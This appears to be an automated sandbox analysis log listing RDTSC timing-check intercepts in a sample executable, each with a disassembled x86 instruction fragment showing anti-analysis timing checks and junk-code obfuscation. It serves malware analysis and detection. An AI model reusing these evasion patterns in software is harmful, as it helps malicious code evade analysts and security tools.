Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774767 second address: 774788 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D385h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jno 00007F9E7960D376h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774788 second address: 7747A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7747A0 second address: 7747B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F9E7960D37Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7747B7 second address: 7747BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7747BB second address: 7747C9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9E7960D376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7747C9 second address: 7747CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774921 second address: 77493B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9E7960D376h 0x00000008 jmp 00007F9E7960D37Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77493B second address: 774945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9E78CDB7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774945 second address: 774969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D383h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9E7960D37Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774969 second address: 774980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F9E78CDB7A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnl 00007F9E78CDB7A6h 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774DD4 second address: 774DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F9E7960D37Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774DE3 second address: 774E1F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9E78CDB7AAh 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F9E78CDB7AEh 0x00000015 jmp 00007F9E78CDB7ABh 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F9E78CDB7AAh 0x00000022 jp 00007F9E78CDB7A6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7754CF second address: 7754D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775649 second address: 77564D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768882 second address: 768886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D624 second address: 73D632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jc 00007F9E78CDB7A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77598D second address: 77599A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9E7960D376h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7763AB second address: 7763AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7763AF second address: 7763BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7763BA second address: 7763C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74788E second address: 747898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C098 second address: 77C09E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E3F7 second address: 77E414 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E414 second address: 77E418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E418 second address: 77E41E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E41E second address: 77E457 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F9E78CDB7B4h 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 jne 00007F9E78CDB7A8h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E457 second address: 77E45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E54A second address: 77E54E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E54E second address: 77E554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E67F second address: 77E683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783976 second address: 78397C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78397C second address: 78398D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 js 00007F9E78CDB7A6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78398D second address: 783998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9E7960D376h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783998 second address: 7839B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E78CDB7B5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7839B3 second address: 7839B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7839B7 second address: 7839C7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9E78CDB7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7839C7 second address: 7839CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782E0E second address: 782E1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782E1C second address: 782E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7837E0 second address: 7837F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F9E78CDB7A8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7837F0 second address: 783845 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9E7960D389h 0x00000008 jp 00007F9E7960D376h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007F9E7960D388h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9E7960D385h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784172 second address: 784178 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784178 second address: 784220 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9E7960D378h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jnl 00007F9E7960D38Eh 0x00000014 mov eax, dword ptr [eax] 0x00000016 jmp 00007F9E7960D380h 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f pushad 0x00000020 jmp 00007F9E7960D37Bh 0x00000025 jns 00007F9E7960D37Ch 0x0000002b popad 0x0000002c pop eax 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F9E7960D378h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 mov si, di 0x0000004a call 00007F9E7960D379h 0x0000004f jmp 00007F9E7960D385h 0x00000054 push eax 0x00000055 pushad 0x00000056 pushad 0x00000057 jnp 00007F9E7960D376h 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784220 second address: 784258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9E78CDB7AEh 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jmp 00007F9E78CDB7B7h 0x00000015 push eax 0x00000016 push edx 0x00000017 jnp 00007F9E78CDB7A6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784258 second address: 784293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D380h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c jng 00007F9E7960D384h 0x00000012 push edi 0x00000013 jmp 00007F9E7960D37Ch 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e jne 00007F9E7960D378h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78599E second address: 7859A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7859A2 second address: 7859B0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F9E7960D37Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7859B0 second address: 7859F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F9E78CDB7A8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov edi, eax 0x00000024 push 00000000h 0x00000026 clc 0x00000027 push 00000000h 0x00000029 add edi, 5298A52Dh 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jbe 00007F9E78CDB7A8h 0x00000038 push edx 0x00000039 pop edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7859F4 second address: 7859F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78647F second address: 786483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78628F second address: 7862A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F9E7960D376h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jnp 00007F9E7960D378h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78754A second address: 7875C1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9E78CDB7ACh 0x00000008 jo 00007F9E78CDB7A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push edx 0x00000014 mov di, bx 0x00000017 pop edi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F9E78CDB7A8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 stc 0x00000035 mov dword ptr [ebp+122D24E5h], ecx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ecx 0x00000040 call 00007F9E78CDB7A8h 0x00000045 pop ecx 0x00000046 mov dword ptr [esp+04h], ecx 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc ecx 0x00000053 push ecx 0x00000054 ret 0x00000055 pop ecx 0x00000056 ret 0x00000057 mov di, F75Fh 0x0000005b push eax 0x0000005c push ecx 0x0000005d push eax 0x0000005e push edx 0x0000005f ja 00007F9E78CDB7A6h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786CC1 second address: 786CC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786CC5 second address: 786CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787E65 second address: 787E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786CCB second address: 786CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F9E78CDB7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787E6A second address: 787E70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788866 second address: 788893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jg 00007F9E78CDB7A6h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 jmp 00007F9E78CDB7B3h 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007F9E78CDB7A6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787E70 second address: 787E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788BF3 second address: 788C0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9E78CDB7B5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78965C second address: 78968F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 movsx esi, cx 0x0000000c push 00000000h 0x0000000e call 00007F9E7960D37Fh 0x00000013 movsx esi, di 0x00000016 pop esi 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D3165h], eax 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 jnp 00007F9E7960D376h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78968F second address: 7896AB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jo 00007F9E78CDB7A6h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007F9E78CDB7A8h 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A1BD second address: 78A24B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F9E7960D378h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov esi, 472E76D2h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007F9E7960D378h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push ebx 0x0000004c call 00007F9E7960D378h 0x00000051 pop ebx 0x00000052 mov dword ptr [esp+04h], ebx 0x00000056 add dword ptr [esp+04h], 0000001Bh 0x0000005e inc ebx 0x0000005f push ebx 0x00000060 ret 0x00000061 pop ebx 0x00000062 ret 0x00000063 and di, 7FB1h 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push edx 0x0000006c pushad 0x0000006d popad 0x0000006e pop edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789F7B second address: 789F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BE14 second address: 78BE22 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9E7960D378h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BE22 second address: 78BE28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BE28 second address: 78BE2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BE2C second address: 78BE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749331 second address: 74933E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9E7960D376h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74933E second address: 74936F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9E78CDB7ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F9E78CDB7C7h 0x00000010 jng 00007F9E78CDB7B1h 0x00000016 jmp 00007F9E78CDB7ABh 0x0000001b push eax 0x0000001c push edx 0x0000001d jp 00007F9E78CDB7A6h 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C470 second address: 78C477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C477 second address: 78C49B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F9E78CDB7BAh 0x00000010 jmp 00007F9E78CDB7B4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C49B second address: 78C523 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9E7960D378h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F9E7960D378h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 jnc 00007F9E7960D382h 0x0000002b mov edi, 131E7164h 0x00000030 push 00000000h 0x00000032 add dword ptr [ebp+12484B9Ah], edi 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007F9E7960D378h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 0000001Ch 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 xchg eax, ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F9E7960D385h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C523 second address: 78C53E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E78CDB7B7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C53E second address: 78C542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EF1D second address: 78EF23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7913CE second address: 7913D8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9E7960D376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79347B second address: 7934E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F9E78CDB7A8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F9E78CDB7A8h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e add dword ptr [ebp+122D31C5h], ecx 0x00000044 push 00000000h 0x00000046 xor dword ptr [ebp+12463C2Ah], eax 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push edx 0x0000004f push esi 0x00000050 jmp 00007F9E78CDB7AEh 0x00000055 pop esi 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7934E4 second address: 7934EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F9E7960D376h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7934EF second address: 793514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F9E78CDB7B4h 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F9E78CDB7A6h 0x00000016 rdtsc
